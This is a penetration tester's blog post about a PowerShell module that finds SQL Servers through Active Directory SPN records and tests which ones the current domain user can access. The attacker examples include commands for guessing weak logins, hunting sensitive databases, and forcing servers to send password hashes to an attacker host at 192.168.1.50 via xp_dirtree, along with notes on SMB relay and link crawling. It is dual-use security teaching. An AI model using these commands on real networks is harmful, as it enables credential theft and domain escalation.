In this blog I'll share a new PowerShell script that uses Service Principal Name (SPN) records from Active Directory to identify and attack SQL Servers on Windows domains without having to perform discovery scanning. I originally wrote this script to help escalate privileges and locate critical data during penetration tests. However, below I’ve tried to show how it can be useful to both attackers and defenders.
Introduction to Scanless SQL Server Discovery
Using a variety of scanning techniques to locate SQL Servers can be very useful when you have no credentials or are hunting for SQL Servers that are not on the domain. However, the process can be noisy, time consuming, and may miss servers due to unknown subnets, the use of non-standard ports, and broadcast domain limitations. When I came across Service Principal Names (SPN) in Active Directory I knew I'd found a shortcut for quickly locating SQL Servers on the domain.
Microsoft's documentation states, "A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service." What that means is every service installed on a Windows domain system is registered in Active Directory. That includes SQL Server Services. As a result, any domain user can query Active Directory Services (ADS) for a full list of the SQL Servers installed on the domain without having to perform discovery scanning. Additionally, the SPNs include the correct instance names and ports which saves you the trouble of having to probe for them yourself. For more information on SPNs I wrote a blog that goes into more detail here: Faster Domain Escalation Using LDAP.
Knowing that SPN information is available in Active Directory was great, but I quickly realized I would need a more automated solution for penetration testing.
Automating with the Get-SQLServerAccess PowerShell Module
After playing around for a while in the lab I thought it would be nice to have a script that could automagically pull down a list of SQL Servers from ADS via LDAP and test what access the current domain user has to each of them. Once again I turned to PowerShell to help with the automation, because it natively supports everything I needed. For example, the standard PowerShell v.3 installation includes support for LDAP queries, SQL Server queries, IP resolution, ICMP requests, and tons of data structures out of the box. No additional libraries, cmdlets, or modules required.
After a little tinkering (and re-tinkering) I patched together a PowerShell module called "Get-SQLServerAccess.psm1". I've tried to add enough options to make it useful to defenders trying to identify excessive privileges quickly, and attackers trying to find soft spots that can be used for domain escalation. It's also handy for simply locating data stores. Below I've tried to break out some of the functionality into defender and attacker use cases.
I wrote Get-SQLServerAccess as a PowerShell module so for those who are not familiar I’ll cover the installation first.
Installing the Get-SQLServerAccess Module
The script can be downloaded from my github account here. At some point I will also submit it to the Posh-SecMod project. Regardless, please note that it does require PowerShell v3. The module can be installed manually by downloading the Get-SQLServerAccess.psm1 file to one of two locations:
%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\
Or you can import it using the following command:
Import-Module c:\temp\Get-SQLServerAccess.psm1
You can confirm that the module has been imported successfully with the command below (or just run it).
Get-Command Get-SQLServerAcess
Defender Use Cases
Database administrators often provide all domain users with privileges to log into SQL Servers because they are unsure which domain groups actually need access. Additionally, older versions of SQL Server allow domain users to login by default due to a privilege inheritance issue that I covered in a previous blog here. These misconfigurations provide domain users with the means to gain unauthorized access to data and systems. As a defender it's nice to be able to quickly identify these misconfigurations so they can be easily queued up and fixed.
The default output of the Get-SQLServerAccess script tries to do that by showing which SQL Servers on the domain allow the current domain user to login. Additionally, the output will show the SQL Server instance names, if the user has sysadmin access to the SQL Server, and if the account used to run the SQL Server service is a Domain Admin. Below are a few examples that I think would be handy for defenders.
- Obtain a list of SQL Servers from ADS via a LDAP query and attempt to login into each SQL Server instance as the current domain user. This is the default output.
PS C:\Get-SQLServerAccess [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- - Obtain a list of SQL Servers from ADS via a LDAP query and attempt to login into each SQL Server instance as the current domain user. This example will also output all results to a CSV file.
Below is a sample screenshot of the output:PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ----------------------------------------------------------------------
The examples above show the results from my lab, but in real environments I typically see hundreds of servers. Just for fun I also recommend running this script as a domain computer account. That can be done my obtaining a LocalSystem shell with “psexec.exe –s –i cmd.exe “, and running the script as shown above. I think you'll be surprised how many SQL Servers domain computer accounts have access to. I know I was. Anyways, onto the attack examples…
Attacker Use Cases
There are tons common attacks against SQL Servers. Below I’ve provided examples that show how to execute five of them with help from this script.
- Guessing weak passwords is still an effective attack technique. We usually find at least a handful of SQL Servers configured with weak passwords in every client environment. Common logins include sa, test, dba, user, and sysadmin. Common passwords include: [the username], [the company], password, Password1, and SQL. There are lots of password guessing tools for databases out there, but just for fun I added the option to provide a custom SQL login for authenticating to the SQL Server instances found in ADS. Below is an example. Note: This switch can also be handy for finding SQL Server logins used on multiple servers.
PS C:\Get-SQLServerAccess -sqluser test -sqlpass test [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as test... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed [+] Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed [+] Failed - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 1 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- - Finding sensitive data is always important for a number of reasons. Using the custom “-query” switch it is possible to query each accessible SQL Server instance for the information you’re looking for. Below is a basic example that shows how to list databases that the user can access on each server.
PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1" [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as test... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1 [+] Query output: Databases --------- master tempdb msdb [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1 [+] Query output: Databases --------- master tempdb msdb [+] SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes [+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1 [+] Query output: Databases --------- master tempdb msdb PCIDataDB ApplicationDB CompanySecrects [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- - Capturing and cracking service account password hashes is also still a very effective attack used during pentests to obtain access to SQL Server service accounts. In many cases the service account has database admin privileges to all of the SQL Servers in the environment, and occasionally the accounts also have Domain Admins privileges. I’ve already written a blog on capturing and relaying SQL Server service account password hashes here. However, I have provided a quick command example showing how to force the accessible SQL Servers to authenticate to an attacker at 192.168.1.50 using the custom “-query” switch.
There is a great tool called Responder that can be used for capturing password hashes being sent from each of the SQL Servers. It can be downloaded from github here. Finally, the hashes can be cracked with a tool like OCLHashcat.PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'" [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file' [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file' [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file' [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- - Targeting shared SQL Server service accounts in order to perform SMB relay attacks almost always works. The tricky part can be figuring out which SQL Servers are configured to use the same service account. To help with that problem, I’ve added a few switches to the script that will capture and display the service accounts from all accessible servers. Those switches include “-showsum” and “-showstatus”. The service accounts can also be outputted to a csv file. Once they have been identified, the techniques outlined in my previous blog (found here) can be used to take over the SQL Servers at the operating system level. Below is a basic example showing how to identify SQL Servers using a shared service account:
In this example you can see that three of the servers are using a shared domain services account.PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- - Crawling database links in order to execute queries with sysadmin privileges is a technique we leverage in almost every environment. Antti Rantasaari provided a nice overview of database links in his blog "How to Hack Database Links in SQL Server". We also wrote a Metasploit module for attacking them a while back that can found here. Although you can enumerate database links blindly I thought it would be handy to grab a count of links from each accessible SQL Server with the script. You can display them by using the “-showsum” and “-showstatus” switches. Similar to the last example the results can also be export to CSV and easily viewed. Below is one last example.
As you can see in the example two servers have database links that could potentially be exploited.PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomain\myuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomain\myuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ----------------------------------------------------------------------
Wrap Up
Download the script, use it to find holes, and plug the holes. Have fun and hack responsibly!
